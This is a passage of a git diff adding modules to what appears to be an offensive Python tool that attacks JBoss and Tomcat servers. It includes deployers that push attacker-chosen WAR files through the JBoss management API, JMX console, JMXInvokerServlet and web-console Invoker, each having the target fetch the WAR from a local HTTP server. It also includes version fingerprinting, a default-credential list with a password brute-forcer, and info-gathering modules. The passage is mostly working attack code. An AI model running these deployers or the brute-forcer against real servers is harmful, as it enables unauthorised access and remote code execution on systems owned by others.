"http://{0}:{1}/management".format(fingerengine.options.ip, + fingerprint.port) + add_content = "/add-content" + association = '{{"address":[{{"deployment":"{0}"}}],"operation":"add",'\ + '"runtime-name":"{2}","content":[{{"hash":{{"BYTES_VALUE"'\ + ':"{1}"}}}}],"name":"{0}"}}' + deploy = '{{"operation":"deploy", "address":{{"deployment":"{0}"}}}}' + headers = {"Content-Type":"application/json"} + + try: + fwar = {war_file : open(war_file, "r").read()} + except: + utility.Msg("Failed to open WAR (%s)" % war_file, LOG.ERROR) + return + + # first we POST the WAR to add-content + response = utility.requests_post(base + add_content, files=fwar) + if response.status_code == 401: + response = redo_auth(fingerengine, fingerprint, base + add_content, + files=fwar) + + if response.status_code != 200: + utility.Msg("Failed to POST data (HTTP %d)" % response.status_code, LOG.ERROR) + return + + # fetch our BYTES_VALUE + if response.json()['outcome'] != 'success': + utility.Msg("Failed to POST data", LOG.ERROR) + utility.Msg(response.json(), LOG.DEBUG) + return + + BYTES_VALUE = response.json()['result']['BYTES_VALUE'] + + # now we need to associate the bytes with a name + response = utility.requests_post(base, + data=association.format(war_name, BYTES_VALUE, war_raw), + headers=headers) + + if response.status_code == 401: + response = redo_auth(fingerengine, fingerprint, base, + data=association.format(war_name, BYTES_VALUE, war_raw), + headers=headers) + + if response.status_code != 200: + utility.Msg("Failed to associate content (HTTP %d)" % response.status_code, LOG.ERROR) + utility.Msg(response.content, LOG.DEBUG) + return + + # now enable the WAR + deploy = deploy.format(war_name) + + response = utility.requests_post(base, data=deploy, headers=headers) + if response.status_code == 401: + response = redo_auth(fingerengine, fingerprint, base, data=deploy, + headers=headers) + + if response.status_code != 200: + utility.Msg("Failed to enable WAR (HTTP %d)" % response.status_code, LOG.ERROR) + utility.Msg(response.content, LOG.DEBUG) + return + + utility.Msg("%s deployed to %s." % (war_file, fingerengine.options.ip), + LOG.SUCCESS) + + +def redo_auth(fingerengine, fingerprint, url, **args): + """ For whatever reason, we need to reauth at each stage of this process. + It's a huge pain, and I have no idea why they thought this was a great idea. + If you perform a deployment manually and inspect the traffic with a web + proxy, you can see the 401's for each step. It's ridiculous. + """ + + response = None + utility.Msg("Host %s:%s requires auth, checking..." % + (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) + cookies = checkAuth(fingerengine.options.ip, fingerprint.port, + fingerprint.title, fingerprint.version) + + if cookies: + response = utility.requests_post(url, auth=cookies[1], **args) + else: + utility.Msg("Could not get auth for %s:%s" % + (fingerengine.options.ip, fingerprint.port), LOG.ERROR) + + return response diff --git a/src/platform/jboss/deployers/jmx_deploy.py b/src/platform/jboss/deployers/jmx_deploy.py new file mode 100644 index 0000000..5ffa07b --- /dev/null +++ b/src/platform/jboss/deployers/jmx_deploy.py @@ -0,0 +1,89 @@ +from src.platform.jboss.interfaces import JINTERFACES +from src.platform.jboss.authenticate import checkAuth +from src.module.deploy_utils import _serve, waitServe +from collections import OrderedDict +from threading import Thread +from requests import get, exceptions +from time import sleep +from log import LOG +from os.path import abspath +import utility + +versions = ["3.0", "3.2", "4.0", "4.2", "6.0", "6.1"] +title = JINTERFACES.JMX +def deploy(fingerengine, fingerprint): + """ + """ + + war_file = abspath(fingerengine.options.deploy) + war_name = war_file.rsplit('/', 1)[1] + + # start up the local HTTP server + server_thread = Thread(target=_serve, args=(war_file,)) + server_thread.start() + sleep(2) + + # major versions of JBoss have different method indices + methodIndex = {"3.0" : 21, + "3.2" : 22, + "4.0" : 3, + "4.2" : 3, + "6.0" : 19, + "6.1" : 19 + } + + if fingerprint.version == "3.0": + tmp = utility.capture_input("Version 3.0 has a strict WAR XML structure. " + "Ensure your WAR is compatible with 3.0 [Y/n]") + if 'n' in tmp.lower(): + return + + utility.Msg("Preparing to deploy {0}..".format(war_file)) + + url = 'http://{0}:{1}/jmx-console/HtmlAdaptor'.format( + fingerengine.options.ip, fingerprint.port) + + data = OrderedDict([ + ('action', 'invokeOp'), + ('name', 'jboss.system:service=MainDeployer'), + ('methodIndex', methodIndex[fingerprint.version]), + ('arg0', 'http://{0}:8000/{1}'.format( + utility.local_address(), war_name)) + ]) + + response = utility.requests_post(url, data=data) + if response.status_code == 401: + utility.Msg("Host %s:%s requires auth for JMX, checking..." % + (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) + cookies = checkAuth(fingerengine.options.ip, fingerprint.port, + fingerprint.title, fingerprint.version) + + if cookies: + try: + response = utility.requests_post(url, data=data, + cookies=cookies[0], auth=cookies[1]) + except exceptions.Timeout: + # we should be fine here, so long as we get the POST request off. + # Just means that we haven't gotten a response quite yet. + response.status_code = 200 + + else: + utility.Msg("Could not get auth for %s:%s" % + (fingerengine.options.ip, fingerprint.port), LOG.ERROR) + return + + if response.status_code == 200: + if waitServe(server_thread): + utility.Msg("{0} deployed to {1}".format(war_file, + fingerengine.options.ip), + LOG.SUCCESS) + else: + utility.Msg("Failed to call {0} (HTTP {1})".format + (fingerengine.options.ip, response.status_code), + LOG.ERROR) + + # kill our local HTTP server + try: + get("http://localhost:8000/", timeout=1.0) + except: + pass diff --git a/src/platform/jboss/deployers/jmxinvokerservlet.py b/src/platform/jboss/deployers/jmxinvokerservlet.py new file mode 100644 index 0000000..1ad928b --- /dev/null +++ b/src/platform/jboss/deployers/jmxinvokerservlet.py @@ -0,0 +1,42 @@ +from src.platform.jboss.interfaces import JINTERFACES +from src.module.deploy_utils import _serve, invkdeploy, waitServe +from threading import Thread +from requests import get +from log import LOG +import utility + +versions = ["Any", "3.2", "4.0", "4.2"] +title = JINTERFACES.IN +def deploy(fingerengine, fingerprint): + """ + """ + + war_file = fingerengine.options.deploy + war_name = war_file.rsplit("/", 1)[1] + + utility.Msg("Preparing to deploy {0}...".format(war_file)) + + url = "http://{0}:{1}/invoker/JMXInvokerServlet".format( + fingerengine.options.ip, fingerprint.port) + local_url = "http://{0}:8000/{1}".format(utility.local_address(), war_name) + + # start the local HTTP server + server_thread = Thread(target=_serve, args=(war_file,)) + server_thread.start() + + # run serialization code + response = invkdeploy(versions[1], url, local_url) + + if response is not None: + utility.Msg(response, LOG.DEBUG) + + if waitServe(server_thread): + utility.Msg("{0} deployed to {1}".format(war_file, + fingerengine.options.ip), LOG.SUCCESS) + else: + utility.Msg("JMXInvokerServlet not vulnerable", LOG.ERROR) + + try: + get("http://localhost:8000/", timeout=1.0) + except: + pass diff --git a/src/platform/jboss/deployers/webconsole_deploy.py b/src/platform/jboss/deployers/webconsole_deploy.py new file mode 100644 index 0000000..b62f487 --- /dev/null +++ b/src/platform/jboss/deployers/webconsole_deploy.py @@ -0,0 +1,61 @@ +from src.platform.jboss.interfaces import JINTERFACES +from src.module.deploy_utils import _serve, wc_invoke, waitServe +from requests import get +from threading import Thread +from time import sleep +from log import LOG +from os.path import abspath +import utility + +versions = ["3.2", "4.0", "4.2"] +title = JINTERFACES.WC +def deploy(fingerengine, fingerprint): + """ + """ + + war_file = abspath(fingerengine.options.deploy) + war_name = war_file.rsplit('/', 1)[1] + + # start the local HTTP server + server_thread = Thread(target=_serve, args=(war_file,)) + server_thread.start() + sleep(1.5) + + utility.Msg("Preparing to deploy {0}...".format(war_file)) + + url = "http://{0}:{1}/web-console/Invoker".format( + fingerengine.options.ip, fingerprint.port) + + local_url = "http://{0}:8000/{1}".format(utility.local_address(), war_name) + + # poll the URL to check for a 401 + response = utility.requests_get(url) + if response.status_code == 401: + utility.Msg("Host %s:%s requires auth for web-console, checking..", + LOG.DEBUG) + cookies = checkAuth(fingerengine.options.ip, fingerprint.port, + fingerprint.title, fingerprint.version) + + if cookies: + (usr, pswd) = (cookies[1].username, cookies[1].password) + response = wc_invoke(url, local_url, usr, pswd) + else: + utility.Msg("Could not get auth for %s:%s" % + (fingerengine.options.ip, fingerprint.port), LOG.ERROR) + + else: + # run our java lib for serializing the request + response = wc_invoke(url, local_url) + + if not response == '': + utility.Msg(response, LOG.DEBUG) + + if waitServe(server_thread): + utility.Msg("{0} deployed to {1}".format(war_file, + fingerengine.options.ip), + LOG.SUCCESS) + + try: + get("http://localhost:8000/", timeout=1.0) + except: + pass diff --git a/src/platform/jboss/fingerprints/JBoss32JMX.py b/src/platform/jboss/fingerprints/JBoss32JMX.py new file mode 100644 index 0000000..b26b8b6 --- /dev/null +++ b/src/platform/jboss/fingerprints/JBoss32JMX.py @@ -0,0 +1,8 @@ +from src.platform.jboss.interfaces import JMXInterface + + +class FPrint(JMXInterface): + + def __init__(self): + super(FPrint, self).__init__() + self.version = "3.2" diff --git a/src/platform/jboss/fingerprints/JBoss32WC.py b/src/platform/jboss/fingerprints/JBoss32WC.py new file mode 100644 index 0000000..3984851 --- /dev/null +++ b/src/platform/jboss/fingerprints/JBoss32WC.py @@ -0,0 +1,8 @@ +from src.platform.jboss.interfaces import WebConsoleInterface + + +class FPrint(WebConsoleInterface): + + def __init__(self): + super(FPrint, self).__init__() + self.version = "3.2" diff --git a/src/platform/jboss/fingerprints/JBoss3JMX.py b/src/platform/jboss/fingerprints/JBoss3JMX.py new file mode 100644 index 0000000..0ac63f6 --- /dev/null +++ b/src/platform/jboss/fingerprints/JBoss3JMX.py @@ -0,0 +1,8 @@ +from src.platform.jboss.interfaces import JMXInterface + + +class FPrint(JMXInterface): + + def __init__(self): + super(FPrint, self).__init__() + self.version = "3.0" diff --git a/src/platform/jboss/fingerprints/JBoss42JMX.py b/src/platform/jboss/fingerprints/JBoss42JMX.py new file mode 100644 index 0000000..114e46a --- /dev/null +++ b/src/platform/jboss/fingerprints/JBoss42JMX.py @@ -0,0 +1,8 @@ +from src.platform.jboss.interfaces import JMXInterface + + +class FPrint(JMXInterface): + + def __init__(self): + super(FPrint, self).__init__() + self.version = "4.2" diff --git a/src/platform/jboss/fingerprints/JBoss42WC.py b/src/platform/jboss/fingerprints/JBoss42WC.py new file mode 100644 index 0000000..c92a19d --- /dev/null +++ b/src/platform/jboss/fingerprints/JBoss42WC.py @@ -0,0 +1,8 @@ +from src.platform.jboss.interfaces import WebConsoleInterface + + +class FPrint(WebConsoleInterface): + + def __init__(self): + super(FPrint, self).__init__() + self.version = "4.2" diff --git a/src/platform/jboss/fingerprints/JBoss4JMX.py b/src/platform/jboss/fingerprints/JBoss4JMX.py new file mode 100644 index 0000000..ba74df8 --- /dev/null +++ b/src/platform/jboss/fingerprints/JBoss4JMX.py @@ -0,0 +1,8 @@ +from src.platform.jboss.interfaces import JMXInterface + + +class FPrint(JMXInterface): + + def __init__(self): + super(FPrint, self).__init__() + self.version = "4.0" diff --git a/src/platform/jboss/fingerprints/JBoss4WC.py b/src/platform/jboss/fingerprints/JBoss4WC.py new file mode 100644 index 0000000..e3048cb --- /dev/null +++ b/src/platform/jboss/fingerprints/JBoss4WC.py @@ -0,0 +1,8 @@ +from src.platform.jboss.interfaces import WebConsoleInterface + + +class FPrint(WebConsoleInterface): + + def __init__(self): + super(FPrint, self).__init__() + self.version = "4.0" diff --git a/src/platform/jboss/fingerprints/JBoss51.py b/src/platform/jboss/fingerprints/JBoss51.py new file mode 100644 index 0000000..290a779 --- /dev/null +++ b/src/platform/jboss/fingerprints/JBoss51.py @@ -0,0 +1,41 @@ +from src.platform.jboss.interfaces import JINTERFACES +from cprint import FingerPrint +from requests import exceptions +from log import LOG +import utility + + +class FPrint(FingerPrint): + + def __init__(self): + self.platform = "jboss" + self.version = "5.1" + self.title = JINTERFACES.WM + self.uri = "/admin-console/login.seam" + self.port = 8080 + self.hash = None + + def check(self, ip, port=None): + """ + """ + try: + rport = self.port if port is None else port + request = utility.requests_get("http://{0}:{1}{2}".format( + ip, rport, self.uri)) + + # JBoss 5.1 and 6.0 share images, so we can't fingerprint those, but + # we can check the web server version and a lack of a 6 in the AS title + if "JBoss AS Administration Console 1.2.0" in request.content and \ + "JBoss AS 6 Admin Console" not in request.content: + return True + + except exceptions.Timeout: + utility.Msg("{0} timeout to {1}:{2}".format(self.platform, + ip, rport), + LOG.DEBUG) + except exceptions.ConnectionError: + utility.Msg("{0} connection error to {1}:{2}".format(self.platform, + ip, rport), + LOG.DEBUG) + + return False diff --git a/src/platform/jboss/fingerprints/JBoss51JMX.py b/src/platform/jboss/fingerprints/JBoss51JMX.py new file mode 100644 index 0000000..f8e60ee --- /dev/null +++ b/src/platform/jboss/fingerprints/JBoss51JMX.py @@ -0,0 +1,8 @@ +from src.platform.jboss.interfaces import JMXInterface + + +class FPrint(JMXInterface): + + def __init__(self): + super(FPrint, self).__init__() + self.version = "5.1" diff --git a/src/platform/jboss/fingerprints/JBoss51WC.py b/src/platform/jboss/fingerprints/JBoss51WC.py new file mode 100644 index 0000000..414aaff --- /dev/null +++ b/src/platform/jboss/fingerprints/JBoss51WC.py @@ -0,0 +1,8 @@ +from src.platform.jboss.interfaces import WebConsoleInterface + + +class FPrint(WebConsoleInterface): + + def __init__(self): + super(FPrint, self).__init__() + self.version = "5.1" diff --git a/src/platform/jboss/fingerprints/JBoss5JMX.py b/src/platform/jboss/fingerprints/JBoss5JMX.py new file mode 100644 index 0000000..36c6aeb --- /dev/null +++ b/src/platform/jboss/fingerprints/JBoss5JMX.py @@ -0,0 +1,8 @@ +from src.platform.jboss.interfaces import JMXInterface + + +class FPrint(JMXInterface): + + def __init__(self): + super(FPrint, self).__init__() + self.version = "5.0" diff --git a/src/platform/jboss/fingerprints/JBoss5WC.py b/src/platform/jboss/fingerprints/JBoss5WC.py new file mode 100644 index 0000000..4248310 --- /dev/null +++ b/src/platform/jboss/fingerprints/JBoss5WC.py @@ -0,0 +1,8 @@ +from src.platform.jboss.interfaces import WebConsoleInterface + + +class FPrint(WebConsoleInterface): + + def __init__(self): + super(FPrint, self).__init__() + self.version = "5.0" diff --git a/src/platform/jboss/fingerprints/JBoss6.py b/src/platform/jboss/fingerprints/JBoss6.py new file mode 100644 index 0000000..04f6c88 --- /dev/null +++ b/src/platform/jboss/fingerprints/JBoss6.py @@ -0,0 +1,13 @@ +from src.platform.jboss.interfaces import JINTERFACES +from cprint import FingerPrint + + +class FPrint(FingerPrint): + + def __init__(self): + self.platform = "jboss" + self.version = "6.0" + self.title = JINTERFACES.WM + self.uri = "/admin-console/plugins/jopr-hibernate-plugin-3.0.0.jar" + self.port = 8080 + self.hash = "15dd8fe4f62a63b4ecac3dcbbae0a862" diff --git a/src/platform/jboss/fingerprints/JBoss61.py b/src/platform/jboss/fingerprints/JBoss61.py new file mode 100644 index 0000000..98dde84 --- /dev/null +++ b/src/platform/jboss/fingerprints/JBoss61.py @@ -0,0 +1,13 @@ +from src.platform.jboss.interfaces import JINTERFACES +from cprint import FingerPrint + + +class FPrint(FingerPrint): + + def __init__(self): + self.platform = "jboss" + self.version = "6.1" + self.title = JINTERFACES.WM + self.uri = "/admin-console/plugins/jopr-hibernate-plugin-3.0.0.jar" + self.port = 8080 + self.hash = "740c9a0788ffce2944b9c9783d8ce679" diff --git a/src/platform/jboss/fingerprints/JBoss61JMX.py b/src/platform/jboss/fingerprints/JBoss61JMX.py new file mode 100644 index 0000000..1368688 --- /dev/null +++ b/src/platform/jboss/fingerprints/JBoss61JMX.py @@ -0,0 +1,8 @@ +from src.platform.jboss.interfaces import JMXInterface + + +class FPrint(JMXInterface): + + def __init__(self): + super(FPrint, self).__init__() + self.version = "6.1" diff --git a/src/platform/jboss/fingerprints/JBoss6JMX.py b/src/platform/jboss/fingerprints/JBoss6JMX.py new file mode 100644 index 0000000..f4d9a80 --- /dev/null +++ b/src/platform/jboss/fingerprints/JBoss6JMX.py @@ -0,0 +1,8 @@ +from src.platform.jboss.interfaces import JMXInterface + + +class FPrint(JMXInterface): + + def __init__(self): + super(FPrint, self).__init__() + self.version = "6.0" diff --git a/src/platform/jboss/fingerprints/JBoss71Manage.py b/src/platform/jboss/fingerprints/JBoss71Manage.py new file mode 100644 index 0000000..5e0cc73 --- /dev/null +++ b/src/platform/jboss/fingerprints/JBoss71Manage.py @@ -0,0 +1,13 @@ +from src.platform.jboss.interfaces import JINTERFACES +from cprint import FingerPrint + + +class FPrint(FingerPrint): + + def __init__(self): + self.platform = "jboss" + self.version = "7.1" + self.title = JINTERFACES.MM + self.uri = "/console/app/gwt/chrome/chrome_rtl.css" + self.port = 9990 + self.hash = "14755bd918908c2703c57bd1a52046b6" diff --git a/src/platform/jboss/fingerprints/JBoss7Manage.py b/src/platform/jboss/fingerprints/JBoss7Manage.py new file mode 100644 index 0000000..28f0be5 --- /dev/null +++ b/src/platform/jboss/fingerprints/JBoss7Manage.py @@ -0,0 +1,13 @@ +from src.platform.jboss.interfaces import JINTERFACES +from cprint import FingerPrint + + +class FPrint(FingerPrint): + + def __init__(self): + self.platform = "jboss" + self.version = "7.0" + self.title = JINTERFACES.MM + self.uri = "/console/app/gwt/chrome/chrome_rtl.css" + self.port = 9990 + self.hash = "bb721162408f5cc1e18cc7a9466ee90c" # tested against 7.0.0 and 7.0.2 diff --git a/src/platform/jboss/fingerprints/JBossInvoker.py b/src/platform/jboss/fingerprints/JBossInvoker.py new file mode 100644 index 0000000..f376880 --- /dev/null +++ b/src/platform/jboss/fingerprints/JBossInvoker.py @@ -0,0 +1,39 @@ +from src.platform.jboss.interfaces import JINTERFACES +from cprint import FingerPrint +from requests import exceptions +from hashlib import md5 +from log import LOG +import utility + +class FPrint(FingerPrint): + + def __init__(self): + self.platform = "jboss" + self.version = "Any" + self.title = JINTERFACES.IN + self.uri = "/invoker/JMXInvokerServlet" + self.port = 8080 + self.hash = "186c0e8a910b87dfd98ae0f746eb4879" + + def check(self, ip, port=None): + """ + """ + + try: + rport = self.port if port is None else port + request = utility.requests_get("http://{0}:{1}{2}".format( + ip, rport, self.uri)) + + compare_hash = md5(request.content[:44]).hexdigest() + if compare_hash == self.hash: + return True + + except exceptions.Timeout: + utility.Msg("{0} timeout to {1}:{2}".format(self.platform, + ip, rport), + LOG.DEBUG) + except exceptions.ConnectionError: + utility.Msg("{0} connection error to {1}:{2}".format(self.platform, + ip, rport), + LOG.DEBUG) + return False diff --git a/src/platform/jboss/fingerprints/JBossRMI.py b/src/platform/jboss/fingerprints/JBossRMI.py new file mode 100644 index 0000000..e591cdd --- /dev/null +++ b/src/platform/jboss/fingerprints/JBossRMI.py @@ -0,0 +1,34 @@ +from src.platform.jboss.interfaces import JINTERFACES +from cprint import FingerPrint +from log import LOG +import state +import utility +import socket + + +class FPrint(FingerPrint): + + def __init__(self): + self.platform = "jboss" + self.version = "Any" + self.title = JINTERFACES.RMI + self.uri = None + self.port = 4444 + self.hash = None + + def check(self, ip, port = None): + """ + """ + + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(state.timeout) + res = sock.connect_ex((ip, self.port)) + + if res == 0: + return True + + except Exception, e: + utility.Msg(e, LOG.ERROR) + + return False diff --git a/src/platform/jboss/fingerprints/JBossStatus.py b/src/platform/jboss/fingerprints/JBossStatus.py new file mode 100644 index 0000000..a95a6a9 --- /dev/null +++ b/src/platform/jboss/fingerprints/JBossStatus.py @@ -0,0 +1,50 @@ +from src.platform.jboss.interfaces import JINTERFACES +from cprint import FingerPrint +from log import LOG +from requests import exceptions +import utility + + +class FPrint(FingerPrint): + + def __init__(self): + self.platform = "jboss" + self.version = "Any" + self.title = JINTERFACES.STS + self.uri = "/status?full=true" + self.port = 8080 + self.hash = None + + + def check(self, ip, port = None): + """ + """ + + try: + rport = self.port if port is None else port + url = "http://{0}:{1}{2}".format(ip, rport, self.uri) + + response = utility.requests_get(url) + if response.status_code == 401: + utility.Msg("Host %s:%s requires auth for %s, checking.." % + (ip, rport, self.uri), LOG.DEBUG) + + cookies = checkAuth(ip, rport, self.title, self.version) + if cookies: + response = utility.requests_get(url, cookies=cookies[0], + auth=cookies[1]) + else: + utility.Msg("Could not get auth for %s:%s" % (ip, rport), LOG.ERROR) + return False + + if response.status_code == 200: + return True + + except exceptions.Timeout: + utility.Msg("{0} timeout to {1}:{2}".format(self.platform, ip, + rport), LOG.DEBUG) + except exceptions.ConnectionError: + utility.Msg("{0} connection error to {1}:{2}".format(self.platform, + ip, rport), LOG.DEBUG) + + return False diff --git a/src/platform/jboss/fingerprints/__init__.py b/src/platform/jboss/fingerprints/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/src/platform/jboss/interfaces.py b/src/platform/jboss/interfaces.py new file mode 100644 index 0000000..5ccd483 --- /dev/null +++ b/src/platform/jboss/interfaces.py @@ -0,0 +1,178 @@ +from cprint import FingerPrint +from requests import exceptions +from HTMLParser import HTMLParser +from log import LOG +from re import search +import authenticate +import utility + + +class JINTERFACES: + """ JBoss interface 'enums'; exposes a commonality between + fingerprints and deployers or auxiliary modules. + """ + + JMX = "JBoss JMX Console" + WC = "JBoss Web Console" + WM = "JBoss Web Manager" + MM = "JBoss Management" + IN = "JBoss JMX Invoker Servlet" + RMI = "JBoss RMI Interface" + STS = "JBoss Status Page" + + +class WebConsoleInterface(FingerPrint): + """ This interface defines the Web Console interface for JBoss. + Only versions 3.x - 5.x have this, and thus will not be available + or have fingerprints for anything 6.x and up. + """ + + def __init__(self): + self.platform = 'jboss' + self.version = None + self.title = JINTERFACES.WC + self.uri = "/web-console/ServerInfo.jsp" + self.port = 8080 + self.hash = None + + def check(self, ip, port = None): + """ The version string for the web-console is pretty easy to parse out. + """ + + try: + rport = self.port if port is None else port + url = "http://{0}:{1}{2}".format(ip, rport, self.uri) + + response = utility.requests_get(url) + if response.status_code == 401: + utility.Msg("Host %s:%s requires auth for /web-console, checking.." % + (ip, rport), LOG.DEBUG) + + cookies = authenticate.checkAuth(ip, rport, self.title, self.version) + if cookies: + response = utility.requests_get(url, cookies=cookies[0], + auth=cookies[1]) + else: + utility.Msg("Could not get auth for %s:%s" % (ip, rport), LOG.ERROR) + return False + + if "Version: {0}".format(self.version) in response.content: + return True + + except exceptions.Timeout: + utility.Msg("{0} timeout to {1}:{2}".format(self.platform, + ip, rport), + LOG.DEBUG) + except exceptions.ConnectionError: + utility.Msg("{0} connection error to {1}:{2}".format(self.platform, + ip, rport), + LOG.DEBUG) + + return False + + +class JMXInterface(FingerPrint): + """ This interface defines the JMX console fingerprint. This is only + available in versions 3.x - 6.x, and is parsed in three different formats. + """ + + def __init__(self): + self.platform = 'jboss' + self.version = None + self.title = JINTERFACES.JMX + self.uri = "/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system%3Atype%3DServer" + self.port = 8080 + self.hash = None + + def check(self, ip, port = None): + """ Because the version strings are different across a couple + different versions, we parse it a little bit different. Pre-5.x versions + are simple, as we match a pattern, whereas post-5.x versions require us + to parse an HTML table for our value. + """ + + re_match = False + rport = self.port if port is None else port + url = "http://{0}:{1}{2}".format(ip, rport, self.uri) + + try: + + request = utility.requests_get(url) + + # go check auth + if request.status_code == 401: + utility.Msg("Host %s:%s requires auth for JMX, checking..." % + (ip, rport), LOG.DEBUG) + cookies = authenticate.checkAuth(ip, rport, self.title, self.version) + if cookies: + request = utility.requests_get(url, cookies=cookies[0], + auth=cookies[1]) + else: + utility.Msg("Could not get auth for %s:%s" % (ip, rport), LOG.ERROR) + return False + + if request.status_code != 200: + return False + + if self.version in ["3.0", "3.2"]: + match = search("{0}.(.*?)\(".format(self.version), request.content) + + if match and len(match.groups()) > 0: + re_match = True + + elif self.version in ["4.0", "4.2"]: + match = search("{0}.(.*?)GA".format(self.version), request.content) + + if match and len(match.groups()) > 0: + re_match = True + + elif self.version in ["5.0", "5.1", "6.0", "6.1"]: + parser = TableParser() + parser.feed(request.content) + + if parser.data and self.version in parser.data: + re_match = True + + return re_match + + except exceptions.Timeout: + utility.Msg("{0} timeout to {1}:{2}".format(self.platform, + ip, rport), + LOG.DEBUG) + except exceptions.ConnectionError: + utility.Msg("{0} connection error to {1}:{2}".format(self.platform, + ip, rport), + LOG.DEBUG) + return re_match + + +class TableParser(HTMLParser): + """ Table parser for the jmx-console page; obtains the VersionNumber + string from the page. Little bit messy. + """ + + def __init__(self): + HTMLParser.__init__(self) + self.data = None + self.in_td = False + self.vn = False + self.found = False + + def handle_starttag(self, tag, attrs): + if tag == 'td': + self.in_td = True + elif tag == 'pre' and self.vn: + self.found = True + + def handle_data(self, data): + if self.in_td: + if data == 'VersionNumber': + self.vn = True + + if self.found: + self.data = data.rstrip('\r\n ').lstrip('\r\n') + self.found = False + self.vn = False + + def handle_endtag(self, tag): + self.in_td = False diff --git a/src/platform/tomcat/__init__.py b/src/platform/tomcat/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/src/platform/tomcat/authenticate.py b/src/platform/tomcat/authenticate.py new file mode 100644 index 0000000..aa76c06 --- /dev/null +++ b/src/platform/tomcat/authenticate.py @@ -0,0 +1,77 @@ +from src.platform.tomcat.interfaces import TINTERFACES +from requests.auth import HTTPBasicAuth +from requests.utils import dict_from_cookiejar +from sys import stdout +from log import LOG +import state +import utility + +default_credentials = [("tomcat", "tomcat"), + ("role1", "role1"), + ("admin", "admin"), + ("both", "tomcat"), + ("admin", "changethis")] + +def _auth(usr, pswd, url): + """ + """ + res = utility.requests_get(url, auth=HTTPBasicAuth(usr, pswd)) + + if res.status_code is 200: + utility.Msg("Successfully authenticated with %s:%s" % (usr, pswd), LOG.DEBUG) + return (dict_from_cookiejar(res.cookies), HTTPBasicAuth(usr, pswd)) + + +def checkAuth(ip, port, title, version): + """ + """ + + if title == TINTERFACES.MAN: + + url = "http://{0}:{1}/manager/html".format(ip, port) + + # check with given auth + if state.usr_auth: + (usr, pswd) = state.usr_auth.split(":") + return _auth(usr, pswd, url) + + # else try default credentials + for (usr, pswd) in default_credentials: + cook = _auth(usr, pswd, url) + if cook: + return cook + + # if we're still here, check if they supplied a wordlist + if state.bf_wordlist and not state.hasbf: + + state.hasbf = True + wordlist = [] + with open(state.bf_wordlist, "r") as f: + wordlist = [x.decode("ascii", "ignore").rstrip() for x in f.readlines()] + + utility.Msg("Brute forcing %s account with %d passwords..." % + (state.bf_user, len(wordlist)), LOG.DEBUG) + + try: + for (idx, word) in enumerate(wordlist): + stdout.flush() + stdout.write("\r\033[32m [%s] Brute forcing password for %s [%d/%d]\033[0m" + % (utility.timestamp(), state.bf_user, idx+1, len(wordlist))) + + cook = _auth(state.bf_user, word, url) + if cook: + print '' + + # lets insert these credentials to the default list so we + # don't need to bruteforce it each time + if not (state.bf_user, word) in default_credentials: + default_credentials.insert(0, (state.bf_user, word)) + + utility.Msg("Successful login %s:%s" % (state.bf_user, word), + LOG.SUCCESS) + return cook + + print '' + + except KeyboardInterrupt: + pass diff --git a/src/platform/tomcat/auxiliary/__init__.py b/src/platform/tomcat/auxiliary/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/src/platform/tomcat/auxiliary/info_dump.py b/src/platform/tomcat/auxiliary/info_dump.py new file mode 100644 index 0000000..c4fc0db --- /dev/null +++ b/src/platform/tomcat/auxiliary/info_dump.py @@ -0,0 +1,60 @@ +from src.platform.tomcat.authenticate import checkAuth +from src.platform.tomcat.interfaces import TINTERFACES +from auxiliary import Auxiliary +from log import LOG +import utility + + +class Auxiliary: + """ The Manager application for Tomcat has a nifty fingerprinting + app that allows us to retrieve host OS, versioning, arch, etc. + which may aid in targeting payloads. + """ + + def __init__(self): + self.name = 'Gather Tomcat info' + self.versions = ['Any'] + self.show = True + self.flag = 'tc-info' + + def check(self, fingerprint): + """ + """ + + if fingerprint.title == TINTERFACES.MAN: + return True + + return False + + def run(self, fingerengine, fingerprint): + + utility.Msg("Attempting to retrieve Tomcat info...") + base = "http://{0}:{1}".format(fingerengine.options.ip, + fingerprint.port) + relative = '/manager/serverinfo' + + if fingerprint.version in ["7.0", "8.0"]: + relative = '/manager/text/serverinfo' + + url = base + relative + + response = utility.requests_get(url) + if response.status_code == 401: + utility.Msg("Host %s:%s requires auth, checking..." % + (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) + cookies = checkAuth(fingerengine.options.ip, fingerprint.port, + fingerprint.title, fingerprint.version) + + if cookies: + response = utility.requests_get(url, cookies=cookies[0], + auth=cookies[1]) + else: + utility.Msg("Could not get auth for %s:%s" % + (fingerengine.options.ip, fingerprint.port), LOG.ERROR) + return + + if response.status_code == 200: + + info = response.content.split('\n')[1:-1] + for entry in info: + utility.Msg(entry) diff --git a/src/platform/tomcat/auxiliary/list_wars.py b/src/platform/tomcat/auxiliary/list_wars.py new file mode 100644 index 0000000..e535f17 --- /dev/null +++ b/src/platform/tomcat/auxiliary/list_wars.py @@ -0,0 +1,64 @@ +from src.platform.tomcat.authenticate import checkAuth +from src.platform.tomcat.interfaces import TINTERFACES +from auxiliary import Auxiliary +from log import LOG +import utility + + +class Auxiliary: + """ Obtain a list of deployed WARs + """ + + def __init__(self): + self.name = 'List deployed WARs' + self.versions = ['Any'] + self.show = True + self.flag = 'tc-list' + + def check(self, fingerprint): + """ + """ + + if fingerprint.title == TINTERFACES.MAN: + return True + + return False + + def run(self, fingerengine, fingerprint): + """ Obtain a list of deployed WARs on a remote Tomcat instance + """ + + utility.Msg("Obtaining deployed applications...") + base = "http://{0}:{1}".format(fingerengine.options.ip, + fingerprint.port) + relative = '/manager/list' + + if fingerprint.version in ["7.0", "8.0"]: + relative = '/manager/text/list' + + url = base + relative + + response = utility.requests_get(url) + if response.status_code == 401: + utility.Msg('Host %s:%s requires auth, checking...' % + (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) + cookies = checkAuth(fingerengine.options.ip, fingerprint.port, + fingerprint.title, fingerprint.version) + + if cookies: + response = utility.requests_get(url, cookies=cookies[0], + auth=cookies[1]) + else: + utility.Msg("Could not get auth for %s:%s" % + (fingerengine.options.ip, fingerprint.port), LOG.ERROR) + return + + if response.status_code == 200: + + apps = response.content.split('\n')[1:-1] + for app in apps: + utility.Msg("App found: %s" % app.split(':', 1)[0]) + + else: + utility.Msg("Unable to retrieve %s (HTTP 